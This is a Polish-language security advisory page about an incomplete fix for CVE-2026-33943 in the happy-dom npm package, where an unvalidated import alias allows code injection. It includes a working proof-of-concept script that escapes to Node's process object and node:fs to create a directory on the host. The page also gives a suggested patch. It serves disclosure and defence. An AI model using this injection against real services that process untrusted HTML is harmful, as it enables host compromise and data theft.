Wysoka

Happy DOM: Niekompletna poprawka dla CVE-2026-33943: nieoczyszczony alias importu prowadzi do wykonania kodu na hoście

  • Ujawniono: 23.10.2026
  • Aktualizacja: 29.10.2026 10:00

Podsumowanie

Kompilator ESM w happy-dom@20.14.5 nie weryfikuje zaimportowanych aliasów powiązań lokalnych przed ich interpolacją do generowanego kodu JavaScript.

W rezultacie nieprawidłowy alias importu ESM może zostać przekształcony w poprawny domyślny inicjalizator destrukturyzacji JavaScript i wykonany.

Wygląda to na alternatywną ścieżkę wstrzykiwania i niekompletną naprawę błędu GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. Poprzednia poprawka sprawdza importName w lokalnym module obsługi export { ... }, jednak obsługa importu nazwanego nadal umieszcza niezweryfikowany alias bezpośrednio w kontekście kodu.

Problemy te zostały potwierdzone za pośrednictwem publicznych interfejsów API Window i <script type="module"> przy użyciu opublikowanego pakietu npm happy-dom. Przygotowane PoC sięga do obiektu hosta Node.js process, uzyskuje node:fs i tworzy katalog dowodowy w systemie plików hosta.

Potwierdzone wersje podatne

PoC przetestowano bezpośrednio na wersjach:

  • happy-dom@17.0.0
  • happy-dom@20.0.0
  • happy-dom@20.1.0
  • happy-dom@20.14.5

To samo PoC nie aktywuje się na wersji happy-dom@16.8.1.

Kompilator ESM został wprowadzony w commicie 7bc831df2 i wydany po raz pierwszy w v17.0.0. Podatna interpolacja pozostaje obecna aż do wersji v20.14.5, będącej najnowszym wydaniem w czasie testów.

Sugerowany zakres podatności:

>= 17.0.0, <= 20.14.5

W czasie testów załatana wersja nie była dostępna.

Wymagania wstępne

  • Włączone wykonywanie JavaScript za pomocą enableJavaScriptEvaluation: true.
  • Przetwarzanie przez Happy DOM kodu HTML lub modułu kontrolowanego przez atakującego.
  • Może to wpływać na usługi SSR, podglądu, scrapingu lub testowania, które przetwarzają zewnętrznie dostarczany kod HTML.

Szczegóły techniczne

W packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts moduł obsługi importu nazwanego dzieli specyfikator importu i wyodrębnia jego alias:

ts
const nameParts = part.trim().split(/\s+as\s+/);
const alias = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const name = nameParts[0].replace(/["']/g, '');

if (alias && name) {
  properties.push({ name, alias });
}

W przeciwieństwie do poprawionego modułu obsługi export { ... }, wartość alias nie jest walidowana jako identyfikator JavaScript.

Następnie jest wstawiana bezpośrednio do generowanej składni powiązania:

ts
newCodeStart += `let {${properties
  .map((property) =>
    property.alias
      ? `"${property.name}": ${property.alias}`
      : property.name
  )
  .join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`;

Rozważmy następujący kod źródłowy:

js
import {
  missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };

Jest to nieprawidłowa składnia modułu ECMAScript. Node.js odrzuca ją na tokenie =.

Happy DOM przekształca ją natomiast w odpowiednik:

js
let {
  "missing": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} = $happy_dom.imports.get('https://poc.local/dep.json');

Ten wygenerowany kod JavaScript jest poprawny. Ponieważ importowany obiekt JSON nie zawiera właściwości missing, wykonywany jest domyślny inicjalizator.

Atrybut with { type: 'json' } ma znaczenie, ponieważ kompilator generuje mechanizm rozwiązywania importów cyklicznych wyłącznie dla importów ESM:

ts
if (!match[7] || match[7] === 'esm') {
  resolvableCircularImports.push({ url, properties });
}

Użycie modułu JSON zapobiega ponownemu wyemitowaniu złośliwego aliasu w późniejszym przypisaniu importu cyklicznego, dzięki czemu wygenerowana funkcja pozostaje poprawna składniowo.

Ciągi w grawisach (backticks) również omijają istniejące usuwanie cudzysłowów. Umożliwia to wstrzykniętemu inicjalizatorowi dotarcie do interfejsów API hosta Node.js:

js
globalThis.constructor.constructor(`return process`)()
  .getBuiltinModule(`node:fs`)
  .mkdirSync(
    globalThis.constructor.constructor(`return process`)().cwd() +
      `/HAPPY_DOM_RCE_PROOF`
  )

Proof of Concept

Poniższe PoC wykorzystuje wyłącznie publiczne API Happy DOM i wykonuje nieszkodliwą operację na systemie plików poprzez utworzenie katalogu o nazwie HAPPY_DOM_RCE_PROOF.

1. Utwórz package.json

js
{
  "name": "happy-dom-import-alias-rce-poc",
  "private": true,
  "type": "module",
  "dependencies": {
    "happy-dom": "20.14.5"
  }
}

2. Utwórz dep.json

js
{}

3. Utwórz payload.mjs

Ten plik służy jako próba kontrolna wykazująca, że natywny parser ECMAScript odrzuca ten kod źródłowy:

js
import {
  missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };

4. Utwórz poc.mjs

js
import { Window } from 'happy-dom';
import { existsSync, rmSync } from 'node:fs';
import { resolve } from 'node:path';

const proofDirectory = resolve('HAPPY_DOM_RCE_PROOF');
rmSync(proofDirectory, { recursive: true, force: true });

const window = new Window({
  url: 'https://poc.local/',
  settings: {
    enableJavaScriptEvaluation: true,
    suppressCodeGenerationFromStringsWarning: true,
    fetch: {
      virtualServers: [
        {
          url: 'https://poc.local/',
          directory: process.cwd()
        }
      ]
    }
  }
});

const script = window.document.createElement('script');
script.type = 'module';

script.textContent = `
  import {
    missing as injected = globalThis.constructor.constructor(\`return process\`)()
      .getBuiltinModule(\`node:fs\`)
      .mkdirSync(
        globalThis.constructor.constructor(\`return process\`)().cwd() +
        \`/HAPPY_DOM_RCE_PROOF\`
      )
  } from './dep.json' with { type: 'json' };
`;

window.document.body.appendChild(script);
await window.happyDOM.waitUntilComplete();

if (!existsSync(proofDirectory)) {
  console.error('[-] Exploit failed: proof directory was not created.');
  console.error(
    window.happyDOM.virtualConsolePrinter.readAsString()
  );
  process.exitCode = 1;
} else {
  console.log(`[+] Host filesystem reached: ${proofDirectory}`);
}

await window.happyDOM.close();

5. Uruchom test kontrolny

bash
npm install
node --check payload.mjs

Oczekiwany wynik:

SyntaxError: Unexpected token '='

Potwierdza to, że kod źródłowy nie jest poprawnym modułem ESM.

6. Uruchom PoC Happy DOM

bash
node poc.mjs

Oczekiwany wynik:

[+] Host filesystem reached: /path/to/HAPPY_DOM_RCE_PROOF

Istnienie katalogu HAPPY_DOM_RCE_PROOF potwierdza, że wyrażenie wstrzyknięte przez alias importu zostało wykonane i dotarło do systemu plików hosta.

PoC zweryfikowano również wewnątrz kontenera Docker node:24-alpine, gdzie utworzyło:

/poc/HAPPY_DOM_RCE_PROOF

Wpływ

Atakujący mogący dostarczyć kod źródłowy modułu do aplikacji wykonującej JavaScript za pośrednictwem Happy DOM może doprowadzić do przekształcenia niepoprawnych składniowo deklaracji importu w wykonywalny kod JavaScript.

Może to ominąć nadrzędną walidację składniową lub założenia aplikacji, że niepoprawnie sformułowane klauzule importu zostaną odrzucone.

Zaprezentowany ładunek sięga do obiektu Node.js process oraz modułów wbudowanych. Może więc zostać dostosowany do odczytu lub modyfikacji plików, uzyskiwania dostępu do zmiennych środowiskowych czy wykonywania poleceń systemu operacyjnego z uprawnieniami procesu hosta Happy DOM.

Relacja z CVE-2026-33943

CVE-2026-33943 dotyczy wstrzykiwania wyrażeń poprzez lokalną deklarację eksportu:

js
export { attacker_expression }

Poprawka tego błędu dodała walidację identyfikatora do importName używanego przez moduł obsługi export { ... }:

ts
if (
  exportName &&
  importName &&
  VALID_VARIABLE_NAME_REGEXP.test(importName)
) {
  // ...
}

Niniejsze zgłoszenie dotyczy innej ścieżki parsowania i generowania kodu:

js
import { name as malicious_alias } from './module';

Nieweryfikowaną wartością jest lokalny alias importu alias, a wstrzyknięcie następuje w wygenerowanym powiązaniu destrukturyzacji, a nie w przypisaniu eksportu załatanym w CVE-2026-33943.

Problem nadal występuje w wersjach wydanych po poprawce CVE-2026-33943, w tym w 20.14.5.

Sugerowana poprawka

Należy zwalidować zaimportowane powiązanie lokalne przed umieszczeniem go w kontekście kodu. Można ponownie wykorzystać istniejące VALID_VARIABLE_NAME_REGEXP:

diff
- if (alias && name) {
+ if (alias && name && VALID_VARIABLE_NAME_REGEXP.test(alias)) {

Test regresyjny powinien skompilować i wykonać złośliwą deklarację importu, a następnie upewnić się, że inicjalizator nie został wykonany.

Zmiana ta została przetestowana lokalnie. Dedykowany zestaw testów ECMAScriptModuleCompiler przechodzi pomyślnie z wynikiem 30 testów, a ESLint nie zgłasza błędów.

W ramach dodatkowego wzmocnienia generowane klucze właściwości powinny używać JSON.stringify() zamiast ręcznej interpolacji cudzysłowów.

Raport weryfikacji

  • Data testowania: 2026-09-17
  • Aktualizacja sprawdzania duplikatów: 2026-09-20
  • Platforma: Windows 11
  • Node.js: 24.14.1
  • Najnowszy testowany pakiet: happy-dom@20.14.5
  • Tag źródłowy: v20.14.5
  • Commit źródłowy: 0d4cdbe7442af49d16b49ddf1acf7cc9684ed318
  • Pierwsza potwierdzona wersja podatna: 17.0.0
  • Potwierdzona wersja niepodatna: 16.8.1
  • Środowisko Docker: Node 24 Alpine
  • Podczas weryfikacji duplikatów nie znaleziono pasujących publicznych ostrzeżeń, zgłoszeń, pull requestów, commitów ani wydań.

Co trzeba zrobić

Zaktualizuj pakiet happy-dom do wersji 21.0.4 lub nowszej.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm happy-dom >= 17.0.0, < 21.0.4 21.0.4

Odnośniki

Ocena CVSS 8.8/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Słabość (CWE)
CWE-94
Platforma
npm
Paczka
happy-dom
Ujawniono
23.10.2026
Aktualizacja
29.10.2026 10:00

Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.

OSV / GitHub Advisory Database - GHSA-834v-8h66-3h79 - CC BY 4.0

Historia podatności: happy-dom

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkich wpisów
7
Pierwsza → ostatnia
11.2024 10.2026
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 3
  • Wysoka 3
  • Średnia 1

Ujawnienia w latach

  1. 2024: 1
  2. 2025: 2
  3. 2026: 4
  1. Happy DOM: Niekompletna poprawka dla CVE-2026-33943: nieoczyszczony alias importu prowadzi do wykonania kodu na hoście ten wpis
    Wysoka · 8.8 CVE-2026-115895 >= 17.0.0, < 21.0.4 21.0.4
  2. Krytyczna CVE-2025-61927 < 20.0.0 20.0.0

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.